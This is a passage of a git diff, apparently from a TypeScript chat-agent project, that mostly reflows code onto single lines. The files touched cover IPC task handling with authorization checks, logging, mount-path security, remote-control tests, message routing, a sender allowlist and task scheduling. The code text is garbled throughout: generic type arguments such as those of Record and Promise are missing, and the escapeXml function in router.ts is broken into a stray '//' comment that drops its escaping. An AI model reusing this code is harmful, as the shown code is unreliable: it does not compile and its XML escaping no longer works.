group_folder: targetFolder, @@ -269,10 +217,7 @@ export async function processTaskIpc( status: 'active', created_at: new Date().toISOString(), }); - logger.info( - { taskId, sourceGroup, targetFolder, contextMode }, - 'Task created via IPC', - ); + logger.info({ taskId, sourceGroup, targetFolder, contextMode }, 'Task created via IPC'); deps.onTasksChanged(); } break; @@ -282,16 +227,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { updateTask(data.taskId, { status: 'paused' }); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task paused via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task paused via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task pause attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task pause attempt'); } } break; @@ -301,16 +240,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { updateTask(data.taskId, { status: 'active' }); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task resumed via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task resumed via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task resume attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task resume attempt'); } } break; @@ -320,16 +253,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { deleteTask(data.taskId); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task cancelled via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task cancelled via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task cancel attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task cancel attempt'); } } break; @@ -338,17 +265,11 @@ export async function processTaskIpc( if (data.taskId) { const task = getTaskById(data.taskId); if (!task) { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Task not found for update', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Task not found for update'); break; } if (!isMain && task.group_folder !== sourceGroup) { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task update attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task update attempt'); break; } @@ -356,12 +277,8 @@ export async function processTaskIpc( if (data.prompt !== undefined) updates.prompt = data.prompt; if (data.script !== undefined) updates.script = data.script || null; if (data.schedule_type !== undefined) - updates.schedule_type = data.schedule_type as - | 'cron' - | 'interval' - | 'once'; - if (data.schedule_value !== undefined) - updates.schedule_value = data.schedule_value; + updates.schedule_type = data.schedule_type as 'cron' | 'interval' | 'once'; + if (data.schedule_value !== undefined) updates.schedule_value = data.schedule_value; // Recompute next_run if schedule changed if (data.schedule_type || data.schedule_value) { @@ -371,16 +288,10 @@ export async function processTaskIpc( }; if (updatedTask.schedule_type === 'cron') { try { - const interval = CronExpressionParser.parse( - updatedTask.schedule_value, - { tz: TIMEZONE }, - ); + const interval = CronExpressionParser.parse(updatedTask.schedule_value, { tz: TIMEZONE }); updates.next_run = interval.next().toISOString(); } catch { - logger.warn( - { taskId: data.taskId, value: updatedTask.schedule_value }, - 'Invalid cron in task update', - ); + logger.warn({ taskId: data.taskId, value: updatedTask.schedule_value }, 'Invalid cron in task update'); break; } } else if (updatedTask.schedule_type === 'interval') { @@ -392,10 +303,7 @@ export async function processTaskIpc( } updateTask(data.taskId, updates); - logger.info( - { taskId: data.taskId, sourceGroup, updates }, - 'Task updated via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup, updates }, 'Task updated via IPC'); deps.onTasksChanged(); } break; @@ -403,42 +311,25 @@ export async function processTaskIpc( case 'refresh_groups': // Only main group can request a refresh if (isMain) { - logger.info( - { sourceGroup }, - 'Group metadata refresh requested via IPC', - ); + logger.info({ sourceGroup }, 'Group metadata refresh requested via IPC'); await deps.syncGroups(true); // Write updated snapshot immediately const availableGroups = deps.getAvailableGroups(); - deps.writeGroupsSnapshot( - sourceGroup, - true, - availableGroups, - new Set(Object.keys(registeredGroups)), - ); + deps.writeGroupsSnapshot(sourceGroup, true, availableGroups, new Set(Object.keys(registeredGroups))); } else { - logger.warn( - { sourceGroup }, - 'Unauthorized refresh_groups attempt blocked', - ); + logger.warn({ sourceGroup }, 'Unauthorized refresh_groups attempt blocked'); } break; case 'register_group': // Only main group can register new groups if (!isMain) { - logger.warn( - { sourceGroup }, - 'Unauthorized register_group attempt blocked', - ); + logger.warn({ sourceGroup }, 'Unauthorized register_group attempt blocked'); break; } if (data.jid && data.name && data.folder && data.trigger) { if (!isValidGroupFolder(data.folder)) { - logger.warn( - { sourceGroup, folder: data.folder }, - 'Invalid register_group request - unsafe folder name', - ); + logger.warn({ sourceGroup, folder: data.folder }, 'Invalid register_group request - unsafe folder name'); break; } // Defense in depth: agent cannot set isMain via IPC. @@ -455,10 +346,7 @@ export async function processTaskIpc( isMain: existingGroup?.isMain, }); } else { - logger.warn( - { data }, - 'Invalid register_group request - missing required fields', - ); + logger.warn({ data }, 'Invalid register_group request - missing required fields'); } break; diff --git a/src/logger.ts b/src/logger.ts index 6b18a9b..df2511c 100644 --- a/src/logger.ts +++ b/src/logger.ts @@ -13,8 +13,7 @@ const MSG_COLOR = '\x1b[36m'; const RESET = '\x1b[39m'; const FULL_RESET = '\x1b[0m'; -const threshold = - LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; +const threshold = LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; function formatErr(err: unknown): string { if (err instanceof Error) { @@ -40,36 +39,23 @@ function ts(): string { return `${String(d.getHours()).padStart(2, '0')}:${String(d.getMinutes()).padStart(2, '0')}:${String(d.getSeconds()).padStart(2, '0')}.${String(d.getMilliseconds()).padStart(3, '0')}`; } -function log( - level: Level, - dataOrMsg: Record | string, - msg?: string, -): void { +function log(level: Level, dataOrMsg: Record | string, msg?: string): void { if (LEVELS[level] < threshold) return; const tag = `${COLORS[level]}${level.toUpperCase()}${level === 'fatal' ? FULL_RESET : RESET}`; const stream = LEVELS[level] >= LEVELS.warn ? process.stderr : process.stdout; if (typeof dataOrMsg === 'string') { - stream.write( - `[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${dataOrMsg}${RESET}\n`, - ); + stream.write(`[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${dataOrMsg}${RESET}\n`); } else { - stream.write( - `[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${msg}${RESET}${formatData(dataOrMsg)}\n`, - ); + stream.write(`[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${msg}${RESET}${formatData(dataOrMsg)}\n`); } } export const logger = { - debug: (dataOrMsg: Record | string, msg?: string) => - log('debug', dataOrMsg, msg), - info: (dataOrMsg: Record | string, msg?: string) => - log('info', dataOrMsg, msg), - warn: (dataOrMsg: Record | string, msg?: string) => - log('warn', dataOrMsg, msg), - error: (dataOrMsg: Record | string, msg?: string) => - log('error', dataOrMsg, msg), - fatal: (dataOrMsg: Record | string, msg?: string) => - log('fatal', dataOrMsg, msg), + debug: (dataOrMsg: Record | string, msg?: string) => log('debug', dataOrMsg, msg), + info: (dataOrMsg: Record | string, msg?: string) => log('info', dataOrMsg, msg), + warn: (dataOrMsg: Record | string, msg?: string) => log('warn', dataOrMsg, msg), + error: (dataOrMsg: Record | string, msg?: string) => log('error', dataOrMsg, msg), + fatal: (dataOrMsg: Record | string, msg?: string) => log('fatal', dataOrMsg, msg), }; // Route uncaught errors through logger so they get timestamps in stderr diff --git a/src/mount-security.ts b/src/mount-security.ts index 4a9eb12..c44620c 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -84,9 +84,7 @@ export function loadMountAllowlist(): MountAllowlist | null { } // Merge with default blocked patterns - const mergedBlockedPatterns = [ - ...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns]), - ]; + const mergedBlockedPatterns = [...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns])]; allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; @@ -142,10 +140,7 @@ function getRealPath(p: string): string | null { /** * Check if a path matches any blocked pattern */ -function matchesBlockedPattern( - realPath: string, - blockedPatterns: string[], -): string | null { +function matchesBlockedPattern(realPath: string, blockedPatterns: string[]): string | null { const pathParts = realPath.split(path.sep); for (const pattern of blockedPatterns) { @@ -168,10 +163,7 @@ function matchesBlockedPattern( /** * Check if a real path is under an allowed root */ -function findAllowedRoot( - realPath: string, - allowedRoots: AllowedRoot[], -): AllowedRoot | null { +function findAllowedRoot(realPath: string, allowedRoots: AllowedRoot[]): AllowedRoot | null { for (const root of allowedRoots) { const expandedRoot = expandPath(root.path); const realRoot = getRealPath(expandedRoot); @@ -230,10 +222,7 @@ export interface MountValidationResult { * Validate a single additional mount against the allowlist. * Returns validation result with reason. */ -export function validateMount( - mount: AdditionalMount, - isMain: boolean, -): MountValidationResult { +export function validateMount(mount: AdditionalMount, isMain: boolean): MountValidationResult { const allowlist = loadMountAllowlist(); // If no allowlist, block all additional mounts @@ -267,10 +256,7 @@ export function validateMount( } // Check against blocked patterns - const blockedMatch = matchesBlockedPattern( - realPath, - allowlist.blockedPatterns, - ); + const blockedMatch = matchesBlockedPattern(realPath, allowlist.blockedPatterns); if (blockedMatch !== null) { return { allowed: false, diff --git a/src/remote-control.test.ts b/src/remote-control.test.ts index 7dbf69c..da8f05d 100644 --- a/src/remote-control.test.ts +++ b/src/remote-control.test.ts @@ -50,20 +50,14 @@ describe('remote-control', () => { stdoutFileContent = ''; // Default fs mocks - _mkdirSyncSpy = vi - .spyOn(fs, 'mkdirSync') - .mockImplementation(() => undefined as any); - writeFileSyncSpy = vi - .spyOn(fs, 'writeFileSync') - .mockImplementation(() => {}); + _mkdirSyncSpy = vi.spyOn(fs, 'mkdirSync').mockImplementation(() => undefined as any); + writeFileSyncSpy = vi.spyOn(fs, 'writeFileSync').mockImplementation(() => {}); unlinkSyncSpy = vi.spyOn(fs, 'unlinkSync').mockImplementation(() => {}); openSyncSpy = vi.spyOn(fs, 'openSync').mockReturnValue(42 as any); closeSyncSpy = vi.spyOn(fs, 'closeSync').mockImplementation(() => {}); // readFileSync: return stdoutFileContent for the stdout file, state file, etc. - readFileSyncSpy = vi.spyOn(fs, 'readFileSync').mockImplementation((( - p: string, - ) => { + readFileSyncSpy = vi.spyOn(fs, 'readFileSync').mockImplementation(((p: string) => { if (p.endsWith('remote-control.stdout')) return stdoutFileContent; if (p.endsWith('remote-control.json')) { throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' }); @@ -85,8 +79,7 @@ describe('remote-control', () => { spawnMock.mockReturnValue(proc); // Simulate URL appearing in stdout file on first poll - stdoutFileContent = - 'Session URL: https://claude.ai/code?bridge=env_abc123\n'; + stdoutFileContent = 'Session URL: https://claude.ai/code?bridge=env_abc123\n'; vi.spyOn(process, 'kill').mockImplementation((() => true) as any); const result = await startRemoteControl('user1', 'tg:123', '/project'); @@ -140,10 +133,7 @@ describe('remote-control', () => { await startRemoteControl('user1', 'tg:123', '/project'); - expect(writeFileSyncSpy).toHaveBeenCalledWith( - STATE_FILE, - expect.stringContaining('"pid":99999'), - ); + expect(writeFileSyncSpy).toHaveBeenCalledWith(STATE_FILE, expect.stringContaining('"pid":99999')); }); it('returns existing URL if session is already active', async () => { @@ -169,9 +159,7 @@ describe('remote-control', () => { spawnMock.mockReturnValueOnce(proc1).mockReturnValueOnce(proc2); // First start: process alive, URL found - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); stdoutFileContent = 'https://claude.ai/code?bridge=env_first\n'; await startRemoteControl('user1', 'tg:123', '/project'); @@ -253,9 +241,7 @@ describe('remote-control', () => { const proc = createMockProcess(55555); spawnMock.mockReturnValue(proc); stdoutFileContent = 'https://claude.ai/code?bridge=env_stop\n'; - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); await startRemoteControl('user1', 'tg:123', '/project'); @@ -353,9 +339,7 @@ describe('remote-control', () => { if (p.endsWith('remote-control.json')) return JSON.stringify(session); return ''; }) as any); - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); restoreRemoteControl(); expect(getActiveSession()).not.toBeNull(); @@ -383,15 +367,13 @@ describe('remote-control', () => { restoreRemoteControl(); - return startRemoteControl('user2', 'tg:456', '/project').then( - (result) => { - expect(result).toEqual({ - ok: true, - url: 'https://claude.ai/code?bridge=env_restored', - }); - expect(spawnMock).not.toHaveBeenCalled(); - }, - ); + return startRemoteControl('user2', 'tg:456', '/project').then((result) => { + expect(result).toEqual({ + ok: true, + url: 'https://claude.ai/code?bridge=env_restored', + }); + expect(spawnMock).not.toHaveBeenCalled(); + }); }); }); }); diff --git a/src/remote-control.ts b/src/remote-control.ts index 2f0bdc4..2a6799a 100644 --- a/src/remote-control.ts +++ b/src/remote-control.ts @@ -60,10 +60,7 @@ export function restoreRemoteControl(): void { const session: RemoteControlSession = JSON.parse(data); if (session.pid && isProcessAlive(session.pid)) { activeSession = session; - logger.info( - { pid: session.pid, url: session.url }, - 'Restored Remote Control session from previous run', - ); + logger.info({ pid: session.pid, url: session.url }, 'Restored Remote Control session from previous run'); } else { clearState(); } @@ -169,10 +166,7 @@ export async function startRemoteControl( activeSession = session; saveState(session); - logger.info( - { url: match[0], pid, sender, chatJid }, - 'Remote Control session started', - ); + logger.info({ url: match[0], pid, sender, chatJid }, 'Remote Control session started'); resolve({ ok: true, url: match[0] }); return; } diff --git a/src/router.ts b/src/router.ts index d6f88ad..4c7dd38 100644 --- a/src/router.ts +++ b/src/router.ts @@ -3,22 +3,13 @@ import { formatLocalTime } from './timezone.js'; export function escapeXml(s: string): string { if (!s) return ''; - return s - .replace(/&/g, '&') - .replace(//g, '>') - .replace(/"/g, '"'); + return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); } -export function formatMessages( - messages: NewMessage[], - timezone: string, -): string { +export function formatMessages(messages: NewMessage[], timezone: string): string { const lines = messages.map((m) => { const displayTime = formatLocalTime(m.timestamp, timezone); - const replyAttr = m.reply_to_message_id - ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` - : ''; + const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; const replySnippet = m.reply_to_message_content && m.reply_to_sender_name ? `\n ${escapeXml(m.reply_to_message_content)}` @@ -41,19 +32,12 @@ export function formatOutbound(rawText: string): string { return text; } -export function routeOutbound( - channels: Channel[], - jid: string, - text: string, -): Promise { +export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); if (!channel) throw new Error(`No channel for JID: ${jid}`); return channel.sendMessage(jid, text); } -export function findChannel( - channels: Channel[], - jid: string, -): Channel | undefined { +export function findChannel(channels: Channel[], jid: string): Channel | undefined { return channels.find((c) => c.ownsJid(jid)); } diff --git a/src/routing.test.ts b/src/routing.test.ts index 6e44586..9276f48 100644 --- a/src/routing.test.ts +++ b/src/routing.test.ts @@ -28,27 +28,9 @@ describe('JID ownership patterns', () => { describe('getAvailableGroups', () => { it('returns only groups, excludes DMs', () => { - storeChatMetadata( - 'group1@g.us', - '2024-01-01T00:00:01.000Z', - 'Group 1', - 'whatsapp', - true, - ); - storeChatMetadata( - 'user@s.whatsapp.net', - '2024-01-01T00:00:02.000Z', - 'User DM', - 'whatsapp', - false, - ); - storeChatMetadata( - 'group2@g.us', - '2024-01-01T00:00:03.000Z', - 'Group 2', - 'whatsapp', - true, - ); + storeChatMetadata('group1@g.us', '2024-01-01T00:00:01.000Z', 'Group 1', 'whatsapp', true); + storeChatMetadata('user@s.whatsapp.net', '2024-01-01T00:00:02.000Z', 'User DM', 'whatsapp', false); + storeChatMetadata('group2@g.us', '2024-01-01T00:00:03.000Z', 'Group 2', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(2); @@ -59,13 +41,7 @@ describe('getAvailableGroups', () => { it('excludes __group_sync__ sentinel', () => { storeChatMetadata('__group_sync__', '2024-01-01T00:00:00.000Z'); - storeChatMetadata( - 'group@g.us', - '2024-01-01T00:00:01.000Z', - 'Group', - 'whatsapp', - true, - ); + storeChatMetadata('group@g.us', '2024-01-01T00:00:01.000Z', 'Group', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(1); @@ -73,20 +49,8 @@ describe('getAvailableGroups', () => { }); it('marks registered groups correctly', () => { - storeChatMetadata( - 'reg@g.us', - '2024-01-01T00:00:01.000Z', - 'Registered', - 'whatsapp', - true, - ); - storeChatMetadata( - 'unreg@g.us', - '2024-01-01T00:00:02.000Z', - 'Unregistered', - 'whatsapp', - true, - ); + storeChatMetadata('reg@g.us', '2024-01-01T00:00:01.000Z', 'Registered', 'whatsapp', true); + storeChatMetadata('unreg@g.us', '2024-01-01T00:00:02.000Z', 'Unregistered', 'whatsapp', true); _setRegisteredGroups({ 'reg@g.us': { @@ -106,27 +70,9 @@ describe('getAvailableGroups', () => { }); it('returns groups ordered by most recent activity', () => { - storeChatMetadata( - 'old@g.us', - '2024-01-01T00:00:01.000Z', - 'Old', - 'whatsapp', - true, - ); - storeChatMetadata( - 'new@g.us', - '2024-01-01T00:00:05.000Z', - 'New', - 'whatsapp', - true, - ); - storeChatMetadata( - 'mid@g.us', - '2024-01-01T00:00:03.000Z', - 'Mid', - 'whatsapp', - true, - ); + storeChatMetadata('old@g.us', '2024-01-01T00:00:01.000Z', 'Old', 'whatsapp', true); + storeChatMetadata('new@g.us', '2024-01-01T00:00:05.000Z', 'New', 'whatsapp', true); + storeChatMetadata('mid@g.us', '2024-01-01T00:00:03.000Z', 'Mid', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups[0].jid).toBe('new@g.us'); @@ -136,27 +82,11 @@ describe('getAvailableGroups', () => { it('excludes non-group chats regardless of JID format', () => { // Unknown JID format stored without is_group should not appear - storeChatMetadata( - 'unknown-format-123', - '2024-01-01T00:00:01.000Z', - 'Unknown', - ); + storeChatMetadata('unknown-format-123', '2024-01-01T00:00:01.000Z', 'Unknown'); // Explicitly non-group with unusual JID - storeChatMetadata( - 'custom:abc', - '2024-01-01T00:00:02.000Z', - 'Custom DM', - 'custom', - false, - ); + storeChatMetadata('custom:abc', '2024-01-01T00:00:02.000Z', 'Custom DM', 'custom', false); // A real group for contrast - storeChatMetadata( - 'group@g.us', - '2024-01-01T00:00:03.000Z', - 'Group', - 'whatsapp', - true, - ); + storeChatMetadata('group@g.us', '2024-01-01T00:00:03.000Z', 'Group', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(1); diff --git a/src/sender-allowlist.ts b/src/sender-allowlist.ts index 9cc2bde..7a7a0fe 100644 --- a/src/sender-allowlist.ts +++ b/src/sender-allowlist.ts @@ -23,16 +23,12 @@ const DEFAULT_CONFIG: SenderAllowlistConfig = { function isValidEntry(entry: unknown): entry is ChatAllowlistEntry { if (!entry || typeof entry !== 'object') return false; const e = entry as Record; - const validAllow = - e.allow === '*' || - (Array.isArray(e.allow) && e.allow.every((v) => typeof v === 'string')); + const validAllow = e.allow === '*' || (Array.isArray(e.allow) && e.allow.every((v) => typeof v === 'string')); const validMode = e.mode === 'trigger' || e.mode === 'drop'; return validAllow && validMode; } -export function loadSenderAllowlist( - pathOverride?: string, -): SenderAllowlistConfig { +export function loadSenderAllowlist(pathOverride?: string): SenderAllowlistConfig { const filePath = pathOverride ?? SENDER_ALLOWLIST_PATH; let raw: string; @@ -40,10 +36,7 @@ export function loadSenderAllowlist( raw = fs.readFileSync(filePath, 'utf-8'); } catch (err: unknown) { if ((err as NodeJS.ErrnoException).code === 'ENOENT') return DEFAULT_CONFIG; - logger.warn( - { err, path: filePath }, - 'sender-allowlist: cannot read config', - ); + logger.warn({ err, path: filePath }, 'sender-allowlist: cannot read config'); return DEFAULT_CONFIG; } @@ -58,25 +51,17 @@ export function loadSenderAllowlist( const obj = parsed as Record; if (!isValidEntry(obj.default)) { - logger.warn( - { path: filePath }, - 'sender-allowlist: invalid or missing default entry', - ); + logger.warn({ path: filePath }, 'sender-allowlist: invalid or missing default entry'); return DEFAULT_CONFIG; } const chats: Record = {}; if (obj.chats && typeof obj.chats === 'object') { - for (const [jid, entry] of Object.entries( - obj.chats as Record, - )) { + for (const [jid, entry] of Object.entries(obj.chats as Record)) { if (isValidEntry(entry)) { chats[jid] = entry; } else { - logger.warn( - { jid, path: filePath }, - 'sender-allowlist: skipping invalid chat entry', - ); + logger.warn({ jid, path: filePath }, 'sender-allowlist: skipping invalid chat entry'); } } } @@ -88,41 +73,24 @@ export function loadSenderAllowlist( }; } -function getEntry( - chatJid: string, - cfg: SenderAllowlistConfig, -): ChatAllowlistEntry { +function getEntry(chatJid: string, cfg: SenderAllowlistConfig): ChatAllowlistEntry { return cfg.chats[chatJid] ?? cfg.default; } -export function isSenderAllowed( - chatJid: string, - sender: string, - cfg: SenderAllowlistConfig, -): boolean { +export function isSenderAllowed(chatJid: string, sender: string, cfg: SenderAllowlistConfig): boolean { const entry = getEntry(chatJid, cfg); if (entry.allow === '*') return true; return entry.allow.includes(sender); } -export function shouldDropMessage( - chatJid: string, - cfg: SenderAllowlistConfig, -): boolean { +export function shouldDropMessage(chatJid: string, cfg: SenderAllowlistConfig): boolean { return getEntry(chatJid, cfg).mode === 'drop'; } -export function isTriggerAllowed( - chatJid: string, - sender: string, - cfg: SenderAllowlistConfig, -): boolean { +export function isTriggerAllowed(chatJid: string, sender: string, cfg: SenderAllowlistConfig): boolean { const allowed = isSenderAllowed(chatJid, sender, cfg); if (!allowed && cfg.logDenied) { - logger.debug( - { chatJid, sender }, - 'sender-allowlist: trigger denied for sender', - ); + logger.debug({ chatJid, sender }, 'sender-allowlist: trigger denied for sender'); } return allowed; } diff --git a/src/task-scheduler.test.ts b/src/task-scheduler.test.ts index 2032b51..f6eb004 100644 --- a/src/task-scheduler.test.ts +++ b/src/task-scheduler.test.ts @@ -1,11 +1,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { _initTestDatabase, createTask, getTaskById } from './db.js'; -import { - _resetSchedulerLoopForTests, - computeNextRun, - startSchedulerLoop, -} from './task-scheduler.js'; +import { _resetSchedulerLoopForTests, computeNextRun, startSchedulerLoop } from './task-scheduler.js'; describe('task scheduler', () => { beforeEach(() => { @@ -32,11 +28,9 @@ describe('task scheduler', () => { created_at: '2026-02-22T00:00:00.000Z', }); - const enqueueTask = vi.fn( - (_groupJid: string, _taskId: string, fn: () => Promise) => { - void fn(); - }, - ); + const enqueueTask = vi.fn((_groupJid: string, _taskId: string, fn: () => Promise) => { + void fn(); + }); startSchedulerLoop({ registeredGroups: () => ({}), @@ -122,8 +116,7 @@ describe('task scheduler', () => { // Must be in the future expect(new Date(nextRun!).getTime()).toBeGreaterThan(Date.now()); // Must be aligned to the original schedule grid - const offset = - (new Date(nextRun!).getTime() - new Date(scheduledTime).getTime()) % ms; + const offset = (new Date(nextRun!).getTime() - new Date(scheduledTime).getTime()) % ms; expect(offset).toBe(0); }); }); diff --git a/src/task-scheduler.ts b/src/task-scheduler.ts index f2b964d..0d663a9 100644 --- a/src/task-scheduler.ts +++ b/src/task-scheduler.ts @@ -3,19 +3,8 @@ import { CronExpressionParser } from 'cron-parser'; import fs from 'fs'; import { ASSISTANT_NAME, SCHEDULER_POLL_INTERVAL, TIMEZONE } from './config.js'; -import { - ContainerOutput, - runContainerAgent, - writeTasksSnapshot, -} from './container-runner.js'; -import { - getAllTasks, - getDueTasks, - getTaskById, - logTaskRun, - updateTask, - updateTaskAfterRun, -} from './db.js'; +import { ContainerOutput, runContainerAgent, writeTasksSnapshot } from './container-runner.js'; +import { getAllTasks, getDueTasks, getTaskById, logTaskRun, updateTask, updateTaskAfterRun } from './db.js'; import { GroupQueue } from './group-queue.js'; import { resolveGroupFolderPath } from './group-folder.js'; import { logger } from './logger.js'; @@ -44,10 +33,7 @@ export function computeNextRun(task: ScheduledTask): string | null { const ms = parseInt(task.schedule_value, 10); if (!ms || ms <= 0) { // Guard against malformed interval that would cause an infinite loop - logger.warn( - { taskId: task.id, value: task.schedule_value }, - 'Invalid interval value', - ); + logger.warn({ taskId: task.id, value: task.schedule_value }, 'Invalid interval value'); return new Date(now + 60_000).toISOString(); } // Anchor to the scheduled time, not now, to prevent drift. @@ -66,19 +52,11 @@ export interface SchedulerDependencies { registeredGroups: () => Record; getSessions: () => Record; queue: GroupQueue; - onProcess: ( - groupJid: string, - proc: ChildProcess, - containerName: string, - groupFolder: string, - ) => void; + onProcess: (groupJid: string, proc: ChildProcess, containerName: string, groupFolder: string) => void; sendMessage: (jid: string, text: string) => Promise; } -async function runTask( - task: ScheduledTask, - deps: SchedulerDependencies, -): Promise { +async function runTask(task: ScheduledTask, deps: SchedulerDependencies): Promise { const startTime = Date.now(); let groupDir: string; try { @@ -87,10 +65,7 @@ async function runTask( const error = err instanceof Error ? err.message : String(err); // Stop retry churn for malformed legacy rows. updateTask(task.id, { status: 'paused' }); - logger.error( - { taskId: task.id, groupFolder: task.group_folder, error }, - 'Task has invalid group folder', - ); + logger.error({ taskId: task.id, groupFolder: task.group_folder, error }, 'Task has invalid group folder'); logTaskRun({ task_id: task.id, run_at: new Date().toISOString(), @@ -103,21 +78,13 @@ async function runTask( } fs.mkdirSync(groupDir, { recursive: true }); - logger.info( - { taskId: task.id, group: task.group_folder }, - 'Running scheduled task', - ); + logger.info({ taskId: task.id, group: task.group_folder }, 'Running scheduled task'); const groups = deps.registeredGroups(); - const group = Object.values(groups).find( - (g) => g.folder === task.group_folder, - ); + const group = Object.values(groups).find((g) => g.folder === task.group_folder); if (!group) { - logger.error( - { taskId: task.id, groupFolder: task.group_folder }, - 'Group not found for task', - ); + logger.error({ taskId: task.id, groupFolder: task.group_folder }, 'Group not found for task'); logTaskRun({ task_id: task.id, run_at: new Date().toISOString(), @@ -152,8 +119,7 @@ async function runTask( // For group context mode, use the group's current session const sessions = deps.getSessions(); - const sessionId = - task.context_mode === 'group' ? sessions[task.group_folder] : undefined; + const sessionId = task.context_mode === 'group' ? sessions[task.group_folder] : undefined; // After the task produces a result, close the container promptly. // Tasks are single-turn — no need to wait IDLE_TIMEOUT (30 min) for the @@ -182,8 +148,7 @@ async function runTask( assistantName: ASSISTANT_NAME, script: task.script || undefined, }, - (proc, containerName) => - deps.onProcess(task.chat_jid, proc, containerName, task.group_folder), + (proc, containerName) => deps.onProcess(task.chat_jid, proc, containerName, task.group_folder), async (streamedOutput: ContainerOutput) => { if (streamedOutput.result) { result = streamedOutput.result; @@ -210,10 +175,7 @@ async function runTask( result = output.result; } - logger.info( - { taskId: task.id, durationMs: Date.now() - startTime }, - 'Task completed', - ); + logger.info({ taskId: task.id, durationMs: Date.now() - startTime }, 'Task completed'); } catch (err) { if (closeTimer) clearTimeout(closeTimer); error = err instanceof Error ? err.message : String(err); @@ -232,11 +194,7 @@ async function runTask( }); const nextRun = computeNextRun(task); - const resultSummary = error - ? `Error: ${error}` - : result - ? result.slice(0, 200) - : 'Completed'; + const resultSummary = error ? `Error: ${error}` : result ? result.slice(0, 200) : 'Completed'; updateTaskAfterRun(task.id, nextRun, resultSummary); } @@ -264,9 +222,7 @@ export function startSchedulerLoop(deps: SchedulerDependencies): void { continue; } - deps.queue.enqueueTask(currentTask.chat_jid, currentTask.id, () => - runTask(currentTask, deps), - ); + deps.queue.enqueueTask(currentTask.chat_jid, currentTask.id, () => runTask(currentTask, deps)); } } catch (err) { logger.error({ err }, 'Error in scheduler loop'); diff --git a/src/timezone.test.ts b/src/timezone.test.ts index 1003a61..d9e9454 100644 --- a/src/timezone.test.ts +++ b/src/timezone.test.ts @@ -1,20 +1,13 @@ import { describe, it, expect } from 'vitest'; -import { - formatLocalTime, - isValidTimezone, - resolveTimezone, -} from './timezone.js'; +import { formatLocalTime, isValidTimezone, resolveTimezone } from './timezone.js'; // --- formatLocalTime --- describe('formatLocalTime', () => { it('converts UTC to local time display', () => { // 2026-02-04T18:30:00Z in America/New_York (EST, UTC-5) = 1:30 PM - const result = formatLocalTime( - '2026-02-04T18:30:00.000Z', - 'America/New_York', - ); + const result = formatLocalTime('2026-02-04T18:30:00.000Z', 'America/New_York'); expect(result).toContain('1:30'); expect(result).toContain('PM'); expect(result).toContain('Feb'); @@ -32,9 +25,7 @@ describe('formatLocalTime', () => { }); it('does not throw on invalid timezone, falls back to UTC', () => { - expect(() => - formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2'), - ).not.toThrow(); + expect(() => formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2')).not.toThrow(); const result = formatLocalTime('2026-01-01T12:00:00.000Z', 'IST-2'); // Should format as UTC (noon UTC = 12:00 PM) expect(result).toContain('12:00'); From 3f0451b7b025c1e4e16ccbc753231b5afd704408 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:34:09 +0300 Subject: [PATCH 007/295] =?UTF-8?q?v2=20phase=201:=20foundation=20?= =?UTF-8?q?=E2=80=94=20types,=20DB=20layer,=20logging?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add the v2 data layer: typed interfaces, central DB with migration runner, per-entity 